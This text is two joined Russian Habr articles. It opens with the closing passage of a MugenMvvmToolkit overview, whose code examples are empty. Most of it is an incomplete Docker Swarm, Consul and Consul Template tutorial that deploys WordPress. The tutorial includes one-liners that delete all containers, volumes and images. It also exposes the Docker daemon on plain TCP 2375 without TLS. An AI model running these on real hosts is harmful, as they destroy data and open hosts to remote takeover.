* Поддержка работы с `Activity`, для всех стандартных `Activity` существует реализация с префиксом Mvvm, для работы вам необходимо наследоваться не от стандартных `Activity`, а с префиксом Mvvm. Если вы сопоставите `Activity` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет совершена навигация на новую `Activity` этого типа.
* Поддержка работы с `Fragment`, для всех стандартных `Fragment` существует реализация с префиксом Mvvm, для работы вам необходимо наследоваться не от стандартных `Fragment`, а с префиксом Mvvm. Если вы сопоставите `MvvmDialogFragment` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показано диалоговое окно.
* Управление состоянием для `Activity` и `Fragment`. Состояния `Activity` и `Fragment` уже отслеживается, поэтому вам не нужно вручную вызывать методы для сохранения/восстановления `ViewModel`.
* Возможность использовать `back stack fragment` навигацию.
* Поддержка Binding с использованием layout (xml-разметки). Для использования Binding на Android необходимо в файле разметки добавить следующее пространство имен `xmlns:pkg="http://schemas.android.com/apk/res-auto"`, затем вы можете добавить Binding к любому контролу используя атрибут `Bind`
**Пример**
```
```
* Поддержка Binding для `ActionBar`, `Toolbar`, `PopupMenu` и `OptionsMenu`.
* Поддержка `DataTemplateSelector` для Binding, аналог `DataTemplateSelector` для Xaml платформ.
* Валидация с использованием стандартного свойства `TextView.Error`.
**Примеры использования Binding**
```
```
Xamarin.iOS
-----------
Особенности MugenMvvmToolkit для Xamarin.iOS:
* Поддержка работы с `UIViewController`, для всех стандартных `UIViewController` существует реализация с префиксом Mvvm, для работы вам необходимо наследоваться не от стандартных `UIViewController`, а с префиксом Mvvm. Если вы сопоставите `UIViewController` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет совершена навигация на новый `UIViewController` этого типа.
* Поддержка модальной навигации для `UIViewController`.
* Управление состоянием для `UIViewController`. Состояния `UIViewController` уже отслеживается, поэтому вам не нужно вручную вызывать методы для сохранения/восстановления `ViewModel`.
* Поддержка `DataTemplateSelector` для Binding, аналог `DataTemplateSelector` для Xaml платформ.
* Поддержка библиотеки `MonoTouch.Dialog`.
Xamarin.Forms
-------------
Особенности MugenMvvmToolkit для Xamarin.Forms:
* Поддержка страничной навигации с использованием класса `Page`. Если вы сопоставите `Page` с какой-либо `ViewModel`, то при вызове метода `ShowAsync`, будет показана новая страница.
* Поддержка модальной навигации с использованием класса `Page`.
* Поддержка Binding с использованием Xaml-разметки. MugenMvvmToolkit предоставляет класс `DataBindingExtension` и attached property `View.Bind`, для работы с Binding. Для использования Binding необходимо в файле Xaml-разметки добавить следующее пространство имен `xmlns:mugen="clr-namespace:MugenMvvmToolkit.MarkupExtensions;assembly=MugenMvvmToolkit.Xamarin.Forms"`
**Примеры использования Binding**
```
```
Заключение
----------
В статье кратко описаны основные особенности проекта. Цель статьи – показать основные особенности реализации фреймворка, который позволяет использовать, всю силу подхода MVVM на любых кроссплатформенных проектах, действительно упрощая разработку и сопровождение.
Для более глубокого понимания обязательно ознакомьтесь с [примерами](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit.Samples).
Ссылки:
-------
* [Репозиторий с проектом](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit)
* [Примеры](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit.Samples)
* [Плагин для Fody](https://github.com/MugenMvvmToolkit/MugenMvvmToolkit.Fody)
* [Nuget](http://www.nuget.org/packages?q=MugenMvvmToolkit)
**P.S.** Спасибо моим коллегам по работе за поддержку, отличные идеи и помощь в тестировании. | https://habr.com/ru/post/236745/ | null | ru | null |
# Наш опыт знакомства с Docker
Вместо предисловия
------------------
> *Сегодня приснился сон, как-будто меня ужали до размера нескольких
>
> килобайт, засунули в какой-то сокет и запустили в контейнере.
>
> Выделили транспорт в оверлейной сети и пустили
>
> тестировать сервисы в других контейнерах…
>
> Пока не сделали docker rm*
Не так давно мне посчастливилось стать членом очень крутой команды
[Centos-admin.ru](http://centos-admin.ru), в которой я познакомился с такими же, как я: единомышленниками со страстью к новым технологиям, энтузиастами и просто отличными парнями. И вот, уже на второй рабочий день меня с коллегой посадили работать над одним проектом, в котором требовалось «докерировать всё, что можно докеризировать» и было критически важно обеспечить высокую доступность сервисов.
Скажу сразу, что до этого я был обычным комнатным Linux-админом: мерился аптаймами, апт-гет-инсталлил пакеты, правил конфиги, перезапускал сервисы, тайлил логи. В общем, не имел особо выдающихся практических навыков, совершенно ничего не знал о концепции [The Pets vs. Cattle](http://www.tomsitpro.com/articles/openstack-pets-and-cattle,1-1759.html), практически не был знаком с Docker и вообще очень слабо представлял, какие широкие возможности он скрывает. А из инструментов автоматизации использовал лишь ansible для настройки серверов и различные bash-скрипты.
Исходя из опыта, который нам удалось получить при работе с этим проектом, хотелось бы немного им поделиться.
### Какие задачи должен был решать наш докеризированный кластер:
— динамическая инфраструктура.
— быстрое внедрение изменений.
— упрощение разворачивания приложений.
### Инструменты, которые использовались:
— Docker
— Docker swarm (agent + manage)
— Consul
— Registrator
— Consul Template
— Docker compose
— руки
Описание инструментов:
----------------------
### Docker
О Docker уже было немало статей, в том числе и на хабре. Я думаю не стоит в подробностях описывать, что это такое.
Инструмент, который упрощает жизнь всем. Разработчику, тестировщику, сисадмину, архитектору.
Docker позволяет нам создавать, запускать, деплоить практически любые приложения и практически на любой платформе.
Docker можно сравнивать с git, но не в контексте работы с кодом, а в контексте работы с приложением в целом.
Здесь можно долго рассказывать о прелестях этого замечательного продукта.
### Docker swarm
Swarm предоставляет функционал логического объединения всех наших хостов (node) в один кластер.
Он работает таким образом, что нам не придется думать о том, на какой ноде необходимо запустить тот или иной контейнер. Swarm это делает за нас. Мы лишь хотим запустить приложение «где-то там».
Работая со Swarm — мы работаем с пулом контейнеров. Swarm использует Docker API для работы с контейнерами.
Обычно, при работе в командной строке, бывает удобно указать переменную
```
export DOCKER_HOST=tcp://:3375
```
и использовать команды docker как обычно, но уже работая не с локальной нодой, а с кластером в целом.
Обратите внимание на параметр *--label*. С помощью него мы можем указывать ноде метки. К примеру, если у нас есть машина с SSD-дисками и нам необходимо запустить контейнер с PosrgreSQL уже не «где-то там», в кластере, а на той ноде, в которой установлены быстрые диски.
Назначаем демону ноды метку:
```
docker daemon --label com.example.storage="ssd"
```
Запускаем PostgreSQL с фильтром у указанной метке:
```
docker run -d -e constraint:com.example.storage="ssd" postgres
```
[Подробнее о фильтрах](https://docs.docker.com/swarm/scheduler/filter/#swarm-filters)
Стоит также рассмотреть такой параметр как *startegy* в кластере Swarm. Этот параметр позволяет более эффективно распределять нагрузку между нодами кластера.
Ноде можно назначить три параметра *strategy*:
— spread
Используется по-умолчанию, если не указан другой параметр *strategy*. В этом случае, swarm будет запускать новый контейнер, если на этой ноде запущено меньшее количество контейнеров, чем на других нодах. Данный параметр не учитывает состояние контейнеров. Они все даже могут быть остановлены, но эта нода не будет выбрана для запуска нового контейнера на ней.
— binpack
С этим параметром, наоборот, swarm постарается забить каждую ноду контейнерами под завязку. Здесь также учитываются остановленные контейнеры.
— random
Название говорит само за себя.
### Consul
Consul — это очередной замечательный продукт от банды Митчелла Хашимото, компании [Hashicorp](https://www.hashicorp.com/), которая радует нас такими замечательными инструментами как Vagrant и многими другими.
Consul выполняет роль распределенного консистентного хранилища конфигураций, которое поддерживается в актуальном состоянии registrator'ом.
Состоит из агентов и серверов (кворум серверов N/2+1). Агенты запускаются на нодах кластера и занимаются регистрацией сервисов, выполнением сценариев проверки и сообщает о результатах Consul-server.
Также имеется возможность использовать Consul как [key-value хранилище](https://www.consul.io/intro/getting-started/kv.html), для более гибкого конфигурирования связей контейнеров.
Помимо этого Consul функционирует как health-checker по имеющемуся у него списку проверок, который так же поддерживает в нем Registrator.
Имеется web-UI, в котором можно просматривать состояние сервисов, проверок, нод, ну и, конечно же, REST API.
Немного о проверках:
**Script**
Проверка скриптом. Скрипт должен возвращать статус код:
— Exit code 0 — проверка в статусе passing (т. е. с сервисом всё хорошо)
— Exit code 1 — Проверка в статусе warning
— Any other code — Проверка в статусе failing
Пример:
```
#!/usr/bin/with-contenv sh
RESULT=`redis-cli ping`
if [ "$RESULT" = "PONG" ]; then
exit 0
fi
exit 2
```
В документации также приводятся примеры использования чего-то похожего на nagios-плагины
```
{
"check": {
"id": "mem-util",
"name": "Memory utilization",
"script": "/usr/local/bin/check_mem.py",
"interval": "10s"
}
}
```
[gist.github.com/mtchavez/e367db8b69aeba363d21](https://gist.github.com/mtchavez/e367db8b69aeba363d21)
**TCP**
Стучится на сокет указанного хостнейма/IP-адреса. Пример:
```
{
"id": "ssh",
"name": "SSH TCP on port 22",
"tcp": "127.0.0.1:22",
"interval": "10s",
"timeout": "1s"
}
```
**HTTP**
Пример стандартной HTTP-проверки:
Помимо регистрации проверок через REST API Consul, проверки можно навешивать при запуске контейнера с помощью аргумента -l (*label*)
Для примера я запущу контейнер с django+uwsgi внутри:
```
docker run -p 8088:3000 -d --name uwsgi-worker --link consul:consul -l "SERVICE_NAME=uwsgi-worker" -l "SERVICE_TAGS=django" \
-l "SERVICE_3000_CHECK_HTTP=/" -l "SERVICE_3000_CHECK_INTERVAL=15s" -l "SERVICE_3000_CHECK_TIMEOUT=1s" uwsgi-worker
```
В UI Консула увидим заголовок стандартной страницы django. Видим, что статус проверки — passing, значит, с сервисом всё в порядке.
Или можно сделать запрос к REST API по http:
```
curl http://:8500/v1/health/service/uwsgi-worker | jq .
```
```
[
{
"Node": {
"Node": "docker0",
"Address": "127.0.0.1",
"CreateIndex": 370,
"ModifyIndex": 159636
},
"Service": {
"ID": "docker0:uwsgi-worker:3000",
"Service": "uwsgi-worker",
"Tags": [
"django"
],
"Address": "127.0.0.1",
"Port": 8088,
"EnableTagOverride": false,
"CreateIndex": 159631,
"ModifyIndex": 159636
},
"Checks": [
{
"Node": "docker0",
"CheckID": "serfHealth",
"Name": "Serf Health Status",
"Status": "passing",
"Notes": "",
"Output": "Agent alive and reachable",
"ServiceID": "",
"ServiceName": "",
"CreateIndex": 370,
"ModifyIndex": 370
},
{
"Node": "docker0",
"CheckID": "service:docker1:uwsgi-worker:3000",
"Name": "Service 'uwsgi-worker' check",
"Status": "passing",
"Notes": "",
"Output": "",
"ServiceID": "docker0:uwsgi-worker:3000",
"ServiceName": "uwsgi-worker",
"CreateIndex": 159631,
"ModifyIndex": 159636
}
]
}
]
```
Пока сервис по HTTP отдаёт статус ответа 2xx, Consul считает его живым и здоровым. Если код ответа 429 (Too Many Request) — проверка будет в состоянии Warning, все остальные коды будут отмечаться как Failed и Consul пометит этот сервис как failure.
По-умолчанию интервал http-проверки — 10 секунд. Можно задать другой интервал, определив параметр timeout.
Consul Template, в свою очередь, основываясь на результате проверки, генерирует конфигурационный файл балансировщику, с N-ным количеством «здоровых» воркеров и балансировщик отправляет запросы к воркерам.
Регистрация новой проверки в консуле:
```
curl -XPUT -d @_ssh_check.json http://:8500/v1/agent/check/register
```
Где в файле *ssh\_check.json* указываются параметры проверки:
```
{
"id": "ssh",
"name": "SSH TCP on port 22",
"tcp": ":22",
"interval": "10s",
"timeout": "1s"
}
```
Отключение проверки:
```
curl http://:8500/v1/agent/check/deregister/ssh\_check
```
Возможности Consul очень велики и, к сожалению, охватить их все в рамках одной статьи проблематично.
Желающие могут обратиться к [официальной документации](https://www.consul.io/docs/index.html) в которой очень много примеров и достаточно хорошо обо всём расписано.
### Registrator
Registrator выполняет роль информатора об изменениях запущенных контейнеров Docker. Он мониторит списки контейнеров и вносит соответствующие правки в Consul в случае старта или остановки контейнеров. В том числе и создание новых контейнеров Registrator немедленно отражает в списке сервисов в Consul.
Так же он добавляет записи для health-check в Consul, на основе метаданных контейнеров.
Например, при запуске контейнера командой:
```
docker run --restart=unless-stopped -v /root/html:/usr/share/nginx/html:ro --links consul:consul -l "SERVICE_NAME=nginx" -l "SERVICE_TAGS=web" -l "SERVICE_CHECK_HTTP=/" -l "SERVICE_CHECK_INTERVAL=15s" -l "SERVICE_CHECK_TIMEOUT=1s"
-p 8080:80 -d nginx
```
Registrator добавит в Consul сервис nignx и создаст HTTP-проверку для этого сервиса.
[Подробнее](http://gliderlabs.com/registrator/latest/user/run/)
### Consul Template
Очередной замечательный инструмент от ребят из Hashicorp. Он обращается к Consul и в зависимости от состояния параметров/значений, находящихся в нём, может генерировать содержимое файлов по своим шаблонам, например, внутри контейнера. Consul Template при обновлении данных в Consul также может выполнять различные команды.
Пример:
NGINX:
Создадим файл server.conf.ctmpl
```
upstream fpm {
least_conn;
{{range service "php"}}server {{.Address}}:{{.Port}} max_fails=3 fail_timeout=60 weight=1;
{{else}}server 127.0.0.1:65535{{end}}
}
server {
listen 80;
root /var/www/html;
index index.php index.html index.htm;
server_name your.domain.com;
sendfile off;
location / {
}
location ~ \.php$ {
fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass fpm;
fastcgi_index index.php;
include fastcgi_params;
}
}
```
и запустим Consul Template:
```
consul-template -consul :8500 -template server.conf.ctmpl -once -dry
```
Параметр -dry выводит получившийся конфиг в stdout, параметр -once запустит consul-template один раз.
```
upstream fpm {
least_conn;
server 127.0.0.1:9000 max_fails=3 fail_timeout=60 weight=1;
}
server {
listen 80;
root /var/www/html;
index index.php index.html index.htm;
server_name your.domain.com;
sendfile off;
location / {
}
location ~ \.php$ {
fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass fpm;
fastcgi_index index.php;
include fastcgi_params;
}
}
```
Как мы видим, он запрашивает у Consul IP-адреса и порты сервисов под названием php и выводит получившийся из шаблона конфигурационный файл.
Мы можем поддерживать актуальным конфигурационный файл nginx:
```
consul-template -consul :8500 -template server.conf.ctmpl:/etc/nginx/conf.d/server.conf:service nginx reload
```
Таким образом, Consul Template будет следить за сервисами и передавать их в конфиг nginx. В случае, если сервис вдруг упал или у него сменился порт, Consul Template обновит конфигурационный файл и сделает nginx reload.
Очень удобно использовать Consul Template для балансировщика (nginx, haproxy).
Но это всего лишь один из юзкейсов, в котором можно использовать этот замечательный инструмент.
[Подробнее о Consul Template](https://github.com/hashicorp/consul-template)
Практика
--------
Итак, мы имеем четыре виртуальных машины на локалхосте, на них установлен Debian 8 Jessie, ядро версии > 3.16 и у нас есть время и желание подробнее ознакомиться с данным стеком технологий и попробовать запустить в кластере какое-нибудь веб-приложение.
Давайте поднимем на них простой блог wordpress.
\* *Здесь мы опускаем момент настройки TLS\* между нодами Swarm и Consul.*
### Установка окружения на ноды.
Добавим репозиторий на каждую виртуальную машину (далее — нода)
```
echo "deb http://apt.dockerproject.org/repo debian-jessie main" > /etc/apt/sources.list.d/docker.list
```
И установим необходимые пакеты для нашего окружения.
```
apt-get update
apt-get install ca-certificates
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
apt-get update
apt-get install docker-engine aufs-tools
```
Запуск обвязки на primary-ноде:
```
docker run --restart=unless-stopped -d -h `hostname` --name consul -v /mnt:/data \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8300:8300 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8301:8301 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8301:8301/udp \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8302:8302 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8302:8302/udp \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8400:8400 \
-p 8500:8500 \
-p 172.17.0.1:53:53/udp \
gliderlabs/consul-server -server -rejoin -advertise `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'` -bootstrap
```
Параметр *--restart=unless-stopped* позволит держать контейнер в запущенном состоянии даже при перезапуске docker-daemon, если он не был остановлен вручную.
После запуска Consul необходимо подправить параметры запуска docker-daemon в systemd
В файле /etc/systemd/system/multi-user.target.wants/docker.service строку ExecStart нужно привести к следующему виду:
```
ExecStart=/usr/bin/docker daemon -H fd:// -H tcp://:2375 --storage-driver=aufs --cluster-store=consul://:8500 --cluster-advertise :2375
```
И после этого перезапустить демон
```
systemctl daemon-reload
service docker restart
```
Проверим, что Consul поднялся и работает:
```
docker ps
```
Теперь запустим swarm-manager на primary-ноде.
```
docker run --restart=unless-stopped -d \
-p 3375:2375 \
swarm manage \
--replication \
--advertise `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:3375 \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500/
```
Команда *manage* запустит Swarm manager на ноде.
Параметр *--replication* включает репликацию между *primary-* и *secondary-* нодами кластера.
```
docker run --restart=unless-stopped -d \
swarm join \
--advertise=`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:2375 \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500/
```
Команда join добавит ноду в кластер swarm, на которой мы будем запускать приложения в контейнерах.
Передав адрес Consul, мы добавим возможность service discovery.
И, конечно же, Registrator:
```
docker run --restart=unless-stopped -d \
--name=registrator \
--net=host \
--volume=/var/run/docker.sock:/tmp/docker.sock \
gliderlabs/registrator:latest \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500
```
Теперь приступим к остальным нодам.
Запускаем Consul:
```
docker run --restart=unless-stopped -d -h `hostname` --name consul -v /mnt:/data \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8300:8300 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8301:8301 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8301:8301/udp \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8302:8302 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8302:8302/udp \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8400:8400 \
-p `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500:8500 \
-p 172.17.0.1:53:53/udp \
gliderlabs/consul-server -server -rejoin -advertise `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'` -join
```
Здесь в параметре *-join* необходимо указать адрес нашей primary-node, которую мы настраивали выше.
Swarm manager:
```
docker run --restart=unless-stopped -d \
-p 3375:2375 \
swarm manage \
--advertise `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:3375 \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500/
```
Прицепим ноду к кластеру:
```
docker run --restart=unless-stopped -d \
swarm join \
--advertise=`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:2375 \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500/
```
И Registrator для регистрации сервисов в Consul.
```
docker run --restart=unless-stopped -d \
--name=registrator \
--net=host \
--volume=/var/run/docker.sock:/tmp/docker.sock \
gliderlabs/registrator:latest \
-ip `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'` \
consul://`ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'`:8500
```
#### Немного про «быстрые команды»
Рестарт всех контейнеров
```
docker stop $(docker ps -aq);docker start $(docker ps -aq)
```
Удаление всех контейнеров
```
docker stop $(docker ps -aq);docker rm $(docker ps -aq)
```
Удаление всех неактивных контейнеров:
```
docker stop $(docker ps -a | grep 'Exited' | awk '{print $1}') && docker rm $(docker ps -a | grep 'Exited' | awk '{print $1}')
```
Удаление всех томов (занятые не удляются)
```
docker volume rm $(docker volume ls -q);
```
Удаление всех образов (занятые не удляются)
```
docker rmi $(docker images -q);
```
### Frontend
Итак, наш кластер готов к труду и обороне. Давайте вернёмся на нашу primary-ноду и запустим фронтенд-балансировщик.
Как я упоминал выше, при работе в командной строке, бывает удобно указать переменную
```
export DOCKER_HOST=tcp://:3375
```
и использовать команды docker как обычно, но уже работая не с локальной нодой, а с кластером в целом.
Мы будем пользоваться образом phusion-baseimage и немного его модифицируем в процессе работы. В него необходимо добавить Consul Template для того, чтобы он поддерживал конфигурационный файл nginx в актуальном состоянии и держал в нем список живых и работающих воркеров. Создаём папку nginx-lb и создаём в ней файл Dockerfile примерно такого содержания:
**Скрытый текст**
```
FROM phusion/baseimage:0.9.18
ENV NGINX_VERSION 1.8.1-1~trusty
ENV DEBIAN_FRONTEND=noninteractive
# Avoid ERROR: invoke-rc.d: policy-rc.d denied execution of start.
RUN echo "#!/bin/sh\nexit 0" > /usr/sbin/policy-rc.d
RUN curl -sS http://nginx.org/keys/nginx_signing.key | sudo apt-key add - && \
echo 'deb http://nginx.org/packages/ubuntu/ trusty nginx' >> /etc/apt/sources.list && \
echo 'deb-src http://nginx.org/packages/ubuntu/ trusty nginx' >> /etc/apt/sources.list && \
apt-get update -qq && apt-get install -y unzip ca-certificates nginx=${NGINX_VERSION} && \
rm -rf /var/lib/apt/lists/* && \
ln -sf /dev/stdout /var/log/nginx/access.log && \
ln -sf /dev/stderr /var/log/nginx/error.log
EXPOSE 80
# Скачиваем и распаковываем последнюю версию Consul Template
ADD https://releases.hashicorp.com/consul-template/0.12.2/consul-template_0.12.2_linux_amd64.zip /usr/bin/
RUN unzip /usr/bin/consul-template_0.12.2_linux_amd64.zip -d /usr/local/bin
ADD nginx.service /etc/service/nginx/run
RUN chmod a+x /etc/service/nginx/run
ADD consul-template.service /etc/service/consul-template/run
RUN chmod a+x /etc/service/consul-template/run
RUN rm -v /etc/nginx/conf.d/*.conf
ADD app.conf.ctmpl /etc/consul-templates/app.conf.ctmpl
CMD ["/sbin/my_init"]
```
Теперь нам нужно создать скрипт запуска nignx. Создаём файл nginx.service:
```
#!/bin/sh
/usr/sbin/nginx -c /etc/nginx/nginx.conf -t && \
exec /usr/sbin/nginx -c /etc/nginx/nginx.conf -g "daemon off;"
```
И скрипт запуска Consul Template:
```
#!/bin/sh
exec /usr/local/bin/consul-template \
-consul consul:8500 \
-template "/etc/consul-templates/app.conf.ctmpl:/etc/nginx/conf.d/app.conf:sv hup nginx || true"
```
Отлично. Теперь нам нужен шаблон конфигурационного файла nginx для Consul Template. Создаём app.conf:
**Скрытый текст**
```
upstream fpm {
least_conn;
{{range service "fpm"}}server {{.Address}}:{{.Port}} max_fails=3 fail_timeout=60 weight=1;
{{else}}server 127.0.0.1:65535{{end}}
}
server {
listen 80;
root /var/www/html;
index index.php index.html index.htm;
server_name domain.example.com;
sendfile off;
location / {
try_files $uri $uri/ /index.php?q=$uri&$args;
}
location /doc/ {
alias /usr/share/doc/;
autoindex on;
allow 127.0.0.1;
allow ::1;
deny all;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/www;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass fpm;
fastcgi_index index.php;
include fastcgi_params;
}
location ~ /\.ht {
deny all;
}
}
```
Теперь нам нужно собрать модифицированный образ:
```
docker build -t nginx-lb .
```
У нас есть два варианта: собрать этот образ на каждой ноде кластера руками или загрузить его в бесплатное [облако Docker Hub](https://hub.docker.com), откуда его можно будет взять когда угодно и из любого места без лишних телодвижений. Или же в свой личный [Docker Registry.
Работа с Docker Hub очень подробно описана в [документации](https://docs.docker.com/docker-hub/overview/).
Теперь самое время посмотреть, что получилось. Запускаем контейнер:
```
docker run -p 80:80 -v /mnt/storage/www:/var/www/html -d --name balancer --link consul:consul -l "SERVICE_NAME=balancer" -l "SERVICE_TAGS=balancer" \
-l "SERVICE_CHECK_HTTP=/" -l "SERVICE_CHECK_INTERVAL=15s" -l "SERVICE_CHECK_TIMEOUT=1s" nginx-lb
```
Проверяем, ткнувшись браузером. Да, он отдаст Bad Gateway, т.к. у нас нет ни статики, ни бэкенда.
### Backend
Отлично, с фронтендом мы разобрались. Теперь кто-то должен обрабатывать php-код. В этом нам поможет [образ WordPress с FPM](https://github.com/docker-library/wordpress/tree/master/fpm)
Здесь нам тоже потребуется немного поправить образ. А именно — добавить Consul Template для обнаружения серверов MySQL. Нам же не хочется каждый раз искать на какой ноде запущен сервер базы данных и указывать его адрес вручную при запуске образа? Это занимает не очень много времени, но мы — лентяи, а «лень — двигатель прогресса» (с).
**Dockerfile**
```
FROM php:5.6-fpm
# install the PHP extensions we need
RUN apt-get update && apt-get install -y unzip libpng12-dev libjpeg-dev && rm -rf /var/lib/apt/lists/* \
&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
&& docker-php-ext-install gd mysqli opcache
# set recommended PHP.ini settings
# see https://secure.php.net/manual/en/opcache.installation.php
RUN { \
echo 'opcache.memory_consumption=128'; \
echo 'opcache.interned_strings_buffer=8'; \
echo 'opcache.max_accelerated_files=4000'; \
echo 'opcache.revalidate_freq=60'; \
echo 'opcache.fast_shutdown=1'; \
echo 'opcache.enable_cli=1'; \
} > /usr/local/etc/php/conf.d/opcache-recommended.ini
VOLUME /var/www/html
ENV WORDPRESS_VERSION 4.4.2
ENV WORDPRESS_SHA1 7444099fec298b599eb026e83227462bcdf312a6
# upstream tarballs include ./wordpress/ so this gives us /usr/src/wordpress
RUN curl -o wordpress.tar.gz -SL https://wordpress.org/wordpress-${WORDPRESS_VERSION}.tar.gz \
&& echo "$WORDPRESS_SHA1 *wordpress.tar.gz" | sha1sum -c - \
&& tar -xzf wordpress.tar.gz -C /usr/src/ \
&& rm wordpress.tar.gz \
&& chown -R www-data:www-data /usr/src/wordpress
ADD https://releases.hashicorp.com/consul-template/0.12.2/consul-template_0.12.2_linux_amd64.zip /usr/bin/
RUN unzip /usr/bin/consul-template_0.12.2_linux_amd64.zip -d /usr/local/bin
# Добавляем шаблон настроек БД.
ADD db.conf.php.ctmpl /db.conf.php.ctmpl
# Добавляем скрипт запуска consul-template
ADD consul-template.sh /usr/local/bin/consul-template.sh
# Добавляем шаблон обнаружения MySQL для создания базы при установке WP
ADD mysql.ctmpl /tmp/mysql.ctmpl
COPY docker-entrypoint.sh /entrypoint.sh
# grr, ENTRYPOINT resets CMD now
ENTRYPOINT ["/entrypoint.sh"]
CMD ["php-fpm"]
```
Создаём шаблон настроек MySQL db.conf.php.ctmpl:
```
php
{{range service "mysql"}}
define('DB_HOST', '{{.Address}}');
{{else}}
define('DB_HOST', 'mysql');
{{end}}
?
```
И скрипт запуска consul-template.sh:
```
#!/bin/sh
echo "Starting Consul Template"
exec /usr/local/bin/consul-template \
-consul consul:8500 \
-template "/db.conf.php.ctmpl:/var/www/html/db.conf.php"
```
Шаблон обнаружения сервера MySQL mysql.ctmpl:
```
{{range service "mysql"}}{{.Address}} {{.Port}} {{end}}
```
В скрипте *docker-entrypoint.sh* нам стоит поправить несколько вещей. А именно — подключить Consul Template для обнаружения сервера MySQL и перевесить fpm на *0.0.0.0*, т. к. по-умолчанию он слушает только 127.0.0.1:
**Скрытый текст**
```
#!/bin/bash
set -e
# Обнаруживаем хост БД
WORDPRESS_DB_HOST="$(/usr/local/bin/consul-template --template=/tmp/mysql-master.ctmpl --consul=consul:8500 --dry -once | awk '{print $1}' | tail -1)"
# Обнаружаем порт БД
WORDPRESS_DB_PORT="$(/usr/local/bin/consul-template --template=/tmp/mysql-master.ctmpl --consul=consul:8500 --dry -once | awk '{print $2}' | tail -1)"
if [[ "$1" == apache2* ]] || [ "$1" == php-fpm ]; then
if [ -n "$MYSQL_PORT_3306_TCP" ]; then
if [ -z "$WORDPRESS_DB_HOST" ]; then
WORDPRESS_DB_HOST='mysql'
else
echo >&2 'warning: both WORDPRESS_DB_HOST and MYSQL_PORT_3306_TCP found'
echo >&2 " Connecting to WORDPRESS_DB_HOST ($WORDPRESS_DB_HOST)"
echo >&2 ' instead of the linked mysql container'
fi
fi
if [ -z "$WORDPRESS_DB_HOST" ]; then
echo >&2 'error: missing WORDPRESS_DB_HOST and MYSQL_PORT_3306_TCP environment variables'
echo >&2 ' Did you forget to --link some_mysql_container:mysql or set an external db'
echo >&2 ' with -e WORDPRESS_DB_HOST=hostname:port?'
exit 1
fi
# if we're linked to MySQL and thus have credentials already, let's use them
: ${WORDPRESS_DB_USER:=${MYSQL_ENV_MYSQL_USER:-root}}
if [ "$WORDPRESS_DB_USER" = 'root' ]; then
: ${WORDPRESS_DB_PASSWORD:=$MYSQL_ENV_MYSQL_ROOT_PASSWORD}
fi
: ${WORDPRESS_DB_PASSWORD:=$MYSQL_ENV_MYSQL_PASSWORD}
: ${WORDPRESS_DB_NAME:=${MYSQL_ENV_MYSQL_DATABASE:-wordpress}}
if [ -z "$WORDPRESS_DB_PASSWORD" ]; then
echo >&2 'error: missing required WORDPRESS_DB_PASSWORD environment variable'
echo >&2 ' Did you forget to -e WORDPRESS_DB_PASSWORD=... ?'
echo >&2
echo >&2 ' (Also of interest might be WORDPRESS_DB_USER and WORDPRESS_DB_NAME.)'
exit 1
fi
if ! [ -e index.php -a -e wp-includes/version.php ]; then
echo >&2 "WordPress not found in $(pwd) - copying now..."
if [ "$(ls -A)" ]; then
echo >&2 "WARNING: $(pwd) is not empty - press Ctrl+C now if this is an error!"
( set -x; ls -A; sleep 10 )
fi
